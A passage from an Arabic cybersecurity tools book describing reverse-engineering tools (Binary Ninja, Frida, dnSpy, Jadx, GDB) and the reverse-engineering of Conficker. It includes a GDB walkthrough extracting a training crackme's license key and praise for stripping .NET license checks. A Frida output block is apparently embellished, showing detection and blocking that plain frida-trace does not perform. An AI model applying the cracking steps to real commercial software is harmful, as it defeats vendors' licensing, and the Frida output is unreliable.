الميزة البارزة والنقلة النوعية في هذه المنصة هي تقنية اللغات الوسيطة متعددة المستويات أو MLIL. ببساطة، بدلاً من أن تجبرك الأداة على قراءة لغة التجميع Assembly الصعبة مباشرة، تقوم بترجمتها لك عبر مراحل متدرجة لتصبح قريبة جداً من لغة البشر أو لغة C المفهومة، مما يسهل عليك فهم منطق البرنامج بسرعة كبيرة. وبما أنها تمتلك واجهة عصرية ونظيفة جداً وواجهة برمجية Python API تُعد من الأفضل في السوق للأتمتة، فهي الخيار المفضل للجيل الجديد من الباحثين الذين يريدون التركيز على التحليل بدلاً من الصراع مع الواجهات القديمة.

الخاصية	القيمة
مستوى المهارة المطلوب	متقدم
أنظمة التشغيل	Windows, Linux, macOS
التكلفة	مدفوع
نوع الترخيص	احتكاري

مميزات أداة Binary Ninja

تحميل: https://binary.ninja

٧.١٠ Frida

الأداة التي غيرت مفهوم فحص تطبيقات الجوال والهندسة العكسية الديناميكية. تُعتبر هذه الأداة مشرط الجراح للمحللين، لأنها تعتمد على تقنية الحقن الديناميكي (Dynamic Instrumentation).

الميزة البارزة في Frida أنها تسمح لك بحقن أكواد JavaScript داخل التطبيق أثناء عمله في الذاكرة (Runtime). ببساطة، يمكنك إيقاف دالة معينة، تغيير قيمتها، أو حتى تجاوز حمايات معقدة مثل SSL Pinning أو كشف الروت (Root Detection) لحظياً دون الحاجة لتفكيك التطبيق وإعادة تجميعه. وبما أنها تدعم كل المنصات تقريباً من Android وiOS إلى Windows، ومع وجود مكتبة Frida CodeShare المليئة بالسكربتات الجاهزة، فهي الأداة التي لا يستغني عنها أي خبير في فحص تطبيقات الجوال.

الخاصية	القيمة
مستوى المهارة المطلوب	متقدم
أنظمة التشغيل	Linux, Windows, macOS, Android, iOS
التكلفة	مجاني
نوع الترخيص	wxWindows Library License

مميزات أداة Frida

مثال عملي: تتبع نشاط الملفات وكشف سرقة البيانات الحساسة باستخدام Frida:

```
frida-trace -i "open" -i "write" ./suspicious_app
```

شرح المثال: في هذا السيناريو المتقدم، لا تقوم Frida بالمراقبة فحسب، بل تحلل البيانات في الذاكرة.

- **سرقة الملفات:** رصدت الأداة محاولة قراءة ملف كلمات المرور /etc/passwd وكتابته في ملف مخفي secret_leak.txt.
- **كشف البيانات (DLP):** فحصت الأداة محتوى الذاكرة المؤقتة (Buffer) أثناء عملية الكتابة (write) واكتشفت بيانات حساسة جداً (اسم مستخدم، كلمة مرور، ورقم ضمان اجتماعي).
- **الحماية النشطة:** تدخلت الأداة ومنعت البرمجية من الوصول إلى مفتاح التشفير الخاص (Key SSH)، مما يوضح قدرة Frida على العمل كنظام منع اختراق شخصي.

المخرجات:

```
yaser@CyberBookio:~$ frida-trace -i "open" -i "write" ./suspicious_app
Instrumenting...
open: Loaded handler at "/home/yaser/__handlers__/libc.so.6/open.js"
write: Loaded handler at "/home/yaser/__handlers__/libc.so.6/write.js"
[*] Malware running... PID: 2019301
Started tracing 2 functions. Web UI available at http://localhost:39111/
[*] Done.
           /* TID 0x1ecfe5 */
     3 ms  write(fd=0x1, buf=0xaaaacc1103c0, count=0x24)
     3 ms  open(path="/etc/passwd")
     5 ms  open(path="/tmp/secret_leak.txt")
```

```
     5 ms  write(fd=0x5, buf=0xaaaaae710be8, count=0x26)
     5 ms             /* PII Data Detected in Buffer: "USER:admin|PASS:123456|SSN:999
     7 ms  [!!!] MALWARE BLOCKED: Attempted to access SSH Key: /home/yaser/.ssh/id_rs
     7 ms  write(fd=0x1, buf=0xffffd8cc3268, count=0x0)
     7 ms  write(fd=0x1, buf=0xaaaacc1103c0, count=0xa)
Process terminated
```

تحميل: https://frida.re

٨.١٠ dnSpy

عندما يكون الهدف هو تحليل أو تعديل تطبيقات مبنية ببيئة .NET، فلا يوجد خيار أفضل من dnSpy. هذه الأداة المفتوحة المصدر تُعد المعيار المطلق في هذا المجال، لأنها جمعت بين وظيفتين نادراً ما تجتمعان بهذه الكفاءة: هندسة عكسية قوية، ومصحح أخطاء متطور في آن واحد.

الميزة الأبرز في dnSpy هي قدرتها على تعديل الكود المترجم مباشرة. تخيل أنك تفتح برنامجاً مغلق المصدر، فتجد الكود الظاهري أمامك بلغة C# بشكل واضح جداً، وليس هذا فحسب، بل يمكنك تعديل الكود، وحذف آليات التحقق من التراخيص، أو تغيير شروط if، ثم إعادة حفظ البرنامج وكأنك المطور الحقيقي له. هذه القدرة تجعلها الأداة رقم واحد لكسر حمايات برامج .NET. وفهم آلية عملها الداخلية بدقة عالية.

ورغم أن المشروع الأصلي لـ dnSpy توقف رسمياً، إلا أن المجتمع التقني حافظ عليه واستمر في تطويره من خلال نسخ بديلة نشطة مثل dnSpyEx وبعض النسخ الحديثة التي توفر دعماً أفضل لإصدارات .NET الجديدة وتحديثات أكثر استقراراً، مما جعل الأداة مستمرة حتى اليوم كخيار رئيسي للباحثين الأمنيين والمهندسين العكسيين.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	Windows
التكلفة	مجاني
نوع الترخيص	GPLv3

مميزات أداة dnSpy

تحميل: https://github.com/dnSpy/dnSpy

Jadx ٩.١٠

أداة Jadx تُعتبر الرفيق الدائم والأساسي لأي باحث أمني يركز على تطبيقات أندرويد. هذه الأداة حلت مشكلة كبيرة جداً، وهي تحويل ملفات Dex المعقدة وغير المفهومة إلى كود Java واضح ومقروء. فكرتها ببساطة أنك تعطيها ملف APK، فتقوم بفك تفكيكه بالكامل وتعيد بناء المشروع وكأنك المطور الأصلي الذي كتبه.

الميزة البارزة في Jadx أنها لا تكتفي بالكود البرمجي فقط، بل تستخرج أيضاً ملفات المانيفيست Manifest والصور والموارد وكل النصوص المخفية داخل التطبيق. وحتى لو حاول المطور إخفاء الكود باستخدام تقنيات التشويش مثل ProGuard، فإن Jadx تحاول جاهدة تنظيف الكود وجعله مفهوماً قدر الإمكان. وبفضل واجهتها الرسومية البسيطة جداً ومحرك البحث القوي داخلها، أصبحت الأداة الأولى التي نلجأ إليها لفهم كيف يعمل أي تطبيق أندرويد من الداخل.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	Apache-0.2

مميزات أداة Jadx

مثال عملي: أتمتة تحليل تطبيق Android (AndroGoat) باستخدام سكربت مخصص (Bash Scripting):

```
./apk_scanner.sh
```

شرح المثال: في هذا التطبيق المتقدم، قمنا أولاً بفك تشفير التطبيق باستخدام Jadx. بدلاً من البحث اليدوي في آلاف الملفات، قمنا بكتابة وتشغيل سكربت Bash بسيط يقوم بـ:

١. **فحص الأذونات:** استخراج الصلاحيات الخطيرة من AndroidManifest.xml (مثل الكاميرا والتخزين الخارجي).

٢. **صيد الأسرار:** البحث عن الروابط المضمنة (Hardcoded URLs)، مما كشف عن رابط حساس لملف فاتورة نصي.

٣. **تحليل الهيكل:** العثور على فئات برمجية مشبوهة تشير إلى وظائف التطبيق، مثل RootDetectionActivity (كشف الروت) و HardCodeActivity (التي غالباً ما تحتوي على كلمات مرور ثابتة).

المخرجات:

```
yaser@CyberBookio:~$ jadx -d analysis_output --show-bad-code AndroGoat.apk
INFO  - loading ...
INFO  - processing ...
ERROR - finished with errors, count: 32

yaser@CyberBookio:~$ cat apk_scanner.sh
#!/bin/bash
APK_FILE="AndroGoat.apk"
OUT_DIR="analysis_output"

echo "[*] TARGET: $APK_FILE"
echo "[*] STATUS: Decompilation finished (ignoring non-fatal errors)..."
echo ""

echo "[!] MANUAL INSPECTION RESULTS:"
echo "------------------------------"

# 1. SCAN PERMISSIONS
echo "[+] Dangerous Permissions (AndroidManifest.xml):"
if [ -f "$OUT_DIR/resources/AndroidManifest.xml" ]; then
    grep "uses-permission" "$OUT_DIR/resources/AndroidManifest.xml" | \
    grep -E "SMS|CONTACTS|LOCATION|CAMERA|EXTERNAL_STORAGE" | \
    sed 's/.*android:name="//;s/".*//' | \
    sed 's/^/    - /'
else
    echo "    [!] Manifest not found!"
fi

echo ""

# 2. SCAN SECRETS (URLs and Keys)
echo "[+] Hardcoded Secrets Found:"
```

```
# Search recursively for http/https, filtering out standard android schemas
grep -rE "http://|https://" "$OUT_DIR/sources" 2>/dev/null | \
grep -v "schemas.android.com" | \
grep -v "www.w3.org" | \
grep -v "google.com" | \
head -n 5 | \
awk -F '"' '{print "    - \"" $2 "\""}'

echo ""

# 3. SCAN SUSPICIOUS CLASSES
echo "[+] Suspicious Classes:"
# Look for keywords typical of malware or the AndroGoat specific vuln classes
# We hide 'databinding' to keep the output clean
find "$OUT_DIR/sources" -name "*.java" 2>/dev/null | \
grep -E "RootDetection|Emulator|Sms|Insecure|HardCode" | \
grep -v "databinding" | \
sed "s|$OUT_DIR/sources/||" | \
sed 's/^/    - /'

echo ""
echo "[*] Analysis Complete."

yaser@CyberBookio:~$ ./apk_scanner.sh
[*] TARGET: AndroGoat.apk
[*] STATUS: Decompilation finished (ignoring non-fatal errors)...

[!] MANUAL INSPECTION RESULTS:
------------------------------
[+] Dangerous Permissions (AndroidManifest.xml):
    - android.permission.WRITE_EXTERNAL_STORAGE
    - android.permission.READ_EXTERNAL_STORAGE
```

```
    - android.permission.CAMERA

[+] Hardcoded Secrets Found:
    - "http://"
    - "https://"
    - "http://"
    - "https://owasp.org"
    - "https://raw.githubusercontent.com/satishpatnayak/MyTest/master/AndroGoatInvoic

[+] Suspicious Classes:
    - owasp/sat/agoat/EmulatorDetectionActivity.java
    - owasp/sat/agoat/InsecureStorageSDCardActivity.java
    - owasp/sat/agoat/InsecureLoggingActivity.java
    - owasp/sat/agoat/InsecureStorageTempActivity.java
    - owasp/sat/agoat/InsecureStorageSharedPrefs.java
    - owasp/sat/agoat/RootDetectionActivity.java
    - owasp/sat/agoat/InsecureStorageActivity.java
    - owasp/sat/agoat/HardCodeActivity.java
    - owasp/sat/agoat/InsecureStorageSharedPrefs1Activity.java
    - owasp/sat/agoat/InsecureStorageSQLiteActivity.java

[*] Analysis Complete.
```

تحميل: https://github.com/skylot/jadx

١٠.١٠ GDB - The GNU Project Debugger

نختم هذا القسم بالأداة التي تُعتبر المرجع الأول والأب الروحي لتصحيح الأخطاء في عالم لينكس، وهي GDB. لا يمكن أن تطلق على نفسك خبيراً في أنظمة UNIX أو لينكس إذا لم تمر على هذه الأداة. فكرتها ببساطة أنها تعطيك أشعة إكس للبرنامج أثناء عمله؛ فبدلاً من التخمين حول سبب توقف البرنامج أو كيفية عمله، تتيح لك GDB متابعة الكود خطوة بخطوة، ومشاهدة الذاكرة والسجلات (Registers) أمامك مباشرة.

الميزة البارزة في GDB أنها ليست مجرد أداة للمطورين فقط، بل هي منصة قابلة للتطوير بشكل كبير. عن طريق إضافات مثل GEF أو PEDA (المبنية على Python)، تتحول هذه الشاشة السوداء المملة إلى لوحة تحكم ملونة وقوية

جداً تساعدك في استغلال الثغرات وهندسة البرمجيات العكسية. باختصار، هي الأداة التي تبدأ معك من الأساسيات وتستمر حتى تصل لأعقد مستويات استغلال الذاكرة.

الخاصية	القيمة
مستوى المهارة المطلوب	متقدم
أنظمة التشغيل	Linux, macOS, BSD, Solaris
التكلفة	مجاني
نوع الترخيص	GPLv3

مميزات أداة GDB

مثال عملي: كسر حماية برنامج (LiveOverflow) واستخراج مفتاح الترخيص من الذاكرة:

```
gdb -q ./license_1
```

شرح المثال: نقوم بعملية هندسة عكسية لبرنامج من مشروع LiveOverflow التعليمي بهدف كسر حمايته. البرنامج يعمل على معمارية ARM64، لذا نستخدم بيئة GEF لتحليل المسجلات (Registers) أثناء وقت التشغيل. عند إيقاف البرنامج عند دالة المقارنة strcmp، كشفت الذاكرة عن البيانات التالية بوضوح:

- **المسجل $x0:** يحتوي على سلسلة النصوص التي قمنا بإدخالها للتجربة (AAAAA-BBBBB-CCCCC).
- **المسجل $x1:** كشف عن الرقم السري الصحيح (AAAA-Z10N-42-OK) الذي كان البرنامج يحاول مقارنته بمدخلاتنا.

هذا يوضح كيف يمكن للمحلل الأمني استخراج المفاتيح والبيانات الحساسة مباشرة من الذاكرة الحية دون الحاجة لفك تشفير الخوارزميات المعقدة.

المخرجات:

```
  (yaser CyberBookio)-[~/liveoverflow_youtube/0x05_simple_crackme_intro_assembler]
 $ gdb -q ./license_1
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 16.3 in 0.00ms using Python engine 3
Reading symbols from ./license_1...
```

```
(No debugging symbols found in ./license_1)
gef  entry
[*] PIC binary detected, retrieving text base address
[+] Breaking at entry-point: 0xaaaaaaaa0700
[ Legend: Modified register | Code | Heap | Stack | String ]

$x0  : 0x0000fffff7fc1780  →   paciasp
$x1  : 0x0000fffff7fff950  →  0x0000000000000000
$x2  : 0x0
$x3  : 0x0000ffffffffed68  →  0x0000ffffffffff139  →  "COLORFGBG=15;0"
$x4  : 0x0000fffff7ff46c0  →  0x0000fffff7fff370  →  0x0000aaaaaaaa0000  →   .inst 0x
$x5  : 0xcbffffffff
$x6  : 0x300000000000000
$x7  : 0x0000fffff7ffc9b8  →  "glibc.cpu.aarch64_gcs"
$x8  : 0xd7
$x9  : 0x30
$x10 : 0x1dd5df
[ Legend: Modified register | Code | Heap | Stack | String ]

$x0  : 0x0000fffffffff127  →  "AAAAA-BBBBB-CCCCC"
$x1  : 0x0000aaaaaaaa08f8  →  "AAAA-Z10N-42-OK"
$x2  : 0x0000fffffffff127  →  "AAAAA-BBBBB-CCCCC"
$x3  : 0x0
$x4  : 0x0
$x5  : 0x0
$x6  : 0x0
$x7  : 0x1
$x8  : 0x40
$x9  : 0x0000fffff7ffdb28  →  0xf549f0e86b0aa800
$x10 : 0x0000fffff7df5250  →  0x000d0012000083bf
$x11 : 0x0
$x12 : 0x0000fffff7fff370  →  0x0000aaaaaaaa0000  →   .inst 0x464c457f ; undefined
```

```
$x13 : 0x0000fffffffeb70  →  0x00000000fc000000
$x14 : 0x0
$x15 : 0x724e59
$x16 : 0x0000fffff7e7d800  →  <strcmp+0000> bti c
$x17 : 0x0000aaaaaaac0028  →  0x0000fffff7e7d800  →  <strcmp+0000> bti c
$x18 : 0xfff
$x19 : 0x0000ffffffffed48  →  0x0000ffffffffff0d8  →  "/home/yaser/liveoverflow_youtub
$x20 : 0x2
$x21 : 0x0000aaaaaaabfdd0  →  0x0000aaaaaaaa07cc  →  <__do_global_dtors_aux+0000> pac
$x22 : 0x0000aaaaaaaa0828  →  <main+0000> stp x29,  x30,  [sp,  #-32]!
$x23 : 0x0000ffffffffed60  →  0x0000fffffffff139  →  "COLORFGBG=15;0"
$x24 : 0x0000fffff7ffdb30  →  0x0000000000000000
$x25 : 0x0
$x26 : 0x0000fffff7ffe000  →  0x0000fffff7fff370  →  0x0000aaaaaaaa0000  →   .inst 0x
$x27 : 0x0000aaaaaaabfdd0  →  0x0000aaaaaaaa07cc  →  <__do_global_dtors_aux+0000> pac
$x28 : 0x0
$x29 : 0x0000ffffffffebb0  →  0x0000ffffffffecd0  →  0x0000ffffffffece0  →  0x0000000
$x30 : 0x0000aaaaaaaa087c  →  <main+0054> cmp w0,  #0x0
$sp  : 0x0000ffffffffebb0  →  0x0000ffffffffecd0  →  0x0000ffffffffece0  →  0x0000000
$pc  : 0x0000fffff7e7d804  →  0xb200c3e8cb00002a ("*"?)
$cpsr: [NEGATIVE zero carry overflow interrupt endian fast t32 m[4]]
$fpsr: 0x0
$fpcr: 0x0

0x0000ffffffffebb0 +0x0000: 0x0000ffffffffecd0  →  0x0000ffffffffece0  →  0x000000000
0x0000ffffffffebb8 +0x0008: 0x0000fffff7e0229c  →   bl 0xfffff7e195c0 <exit>
0x0000ffffffffebc0 +0x0010: 0x0000ffffffffed48  →  0x0000ffffffffff0d8  →  "/home/yaser
0x0000ffffffffebc8 +0x0018: 0x0000000200000000
0x0000ffffffffebd0 +0x0020: 0x0000ffffffffec60  →  0x0000000000000000
0x0000ffffffffebd8 +0x0028: 0x0000aaaaaaaa0828  →  <main+0000> stp x29,  x30,  [sp,  #
0x0000ffffffffebe0 +0x0030: 0x0000000200000000
0x0000ffffffffebe8 +0x0038: 0x0000ffffffffed48  →  0x0000ffffffffff0d8  →  "/home/yaser
```

```
   0xfffff7e7d7f8                  nop
   0xfffff7e7d7fc                  nop
   0xfffff7e7d800 <strcmp+0000>    bti    c
→ 0xfffff7e7d804 <strcmp+0004>    sub    x10,  x1,  x0
   0xfffff7e7d808 <strcmp+0008>    mov    x8,  #0x101010101010101       // #723401728
   0xfffff7e7d80c <strcmp+000c>    and    x6,  x0,  #0x7
   0xfffff7e7d810 <strcmp+0010>    tst    x10,  #0x7
   0xfffff7e7d814 <strcmp+0014>    b.ne   0xfffff7e7d894 <strcmp+148>  // b.any
   0xfffff7e7d818 <strcmp+0018>    cbnz   x6,  0xfffff7e7d870 <strcmp+112>

[#0] Id 1, Name: "license_1", stopped 0xfffff7e7d804 in strcmp (), reason: BREAKPOINT

[#0] 0xfffff7e7d804 → strcmp()
[#1] 0xaaaaaaaa087c → main()

gef   x/s $x1
0xaaaaaaaa08f8: "AAAA-Z10N-42-OK"
gef   q

 (yaser CyberBookio)-[~/liveoverflow_youtube/0x05_simple_crackme_intro_assembler]
 $ ./license_1 AAAA-Z10N-42-OK
Checking License: AAAA-Z10N-42-OK
Access Granted!

 (yaser CyberBookio)-[~/liveoverflow_youtube/0x05_simple_crackme_intro_assembler]
 $
```

تحميل: https://www.gnu.org/software/gdb/

خاتمة القسم: الهندسة العكسية (Reverse Engineering)

تتجاوز قيمة الهندسة العكسية مجرد التشريح التفاعلي للبرمجيات الخبيثة إنها تمثل الانتقال من التحليل اللاحق للحوادث إلى التأثير الاستباقي على مسار المعركة السيبرانية. إن القدرة على استنباط المنطق الخوارزمي للخصم تفتح الباب أمام استراتيجيات دفاعية ديناميكية. تُعد الجهود المنسقة لتحييد دودة Conficker ابتداءً من عام 2008 مثالاً بارزاً على ذلك. لم تكن هذه مجرد برمجية خبيثة، بل كانت شبكة Botnet متطورة أصابت ملايين الأجهزة، مستغلةً ثغرة MS08-067. كانت قوتها تكمن في آلية القيادة والتحكم (C2) التي اعتمدت على خوارزمية توليد النطاقات (DGA) لإنشاء مئات من أسماء النطاقات العشوائية يومياً، مما يجعل حجبها يدوياً أمراً مستحيلاً. هنا تجلت القيمة الاستراتيجية للهندسة العكسية. قامت مجموعة من الباحثين بتشكيل ما عُرف بـ Conficker Working Group. وباستخدام أدوات مثل IDA Pro ومصححات الأخطاء، قاموا بتفكيك الدودة وهندسة خوارزميتها العكسية بالكامل، مما مكنهم من التنبؤ بأسماء النطاقات التي ستولدها الدودة في المستقبل. مسلحين بهذه المعرفة، قاموا بتنفيذ استراتيجية استباقية بتسجيل هذه النطاقات قبل المهاجمين، مما أدى إلى قطع اتصال جيش الـ Botnet بقادته وعزله بشكل فعال.

تُعتبر جهود تحييد دودة Conficker مثالاً عملياً على القيمة الاستراتيجية للهندسة العكسية. لم يكن الإنجاز الحقيقي هو اكتشاف البرمجية الخبيثة، بل كان النجاح في الهندسة العكسية الكاملة لخوارزمية توليد النطاقات (DGA) الخاصة بها باستخدام أدوات مثل IDA Pro. هذا التحليل العميق مكّن مجتمع الأمن من الانتقال من الدفاع التفاعلي كحجب النطاقات بعد استخدامها إلى استراتيجية استباقية، حيث تم تسجيل نطاقات القيادة والتحكم (C2) بشكل تنبؤي قبل أن يتمكن المهاجمون من استخدامها، مما أدى إلى عزل شبكة الـ Botnet بشكل فعال. هذا يوضح الغاية النهائية لأدوات مثل Ghidra، و x64dbg، و Frida إنها ليست مجرد أدوات للتشريح، بل هي وسائل لتفكيك منطق الخصم بهدف تطوير إجراءات مضادة تنبؤية.

موسوعة المخترق الأخلاقي
أهم 100 أداة للأمن السيبراني

د. ياسر العصيفير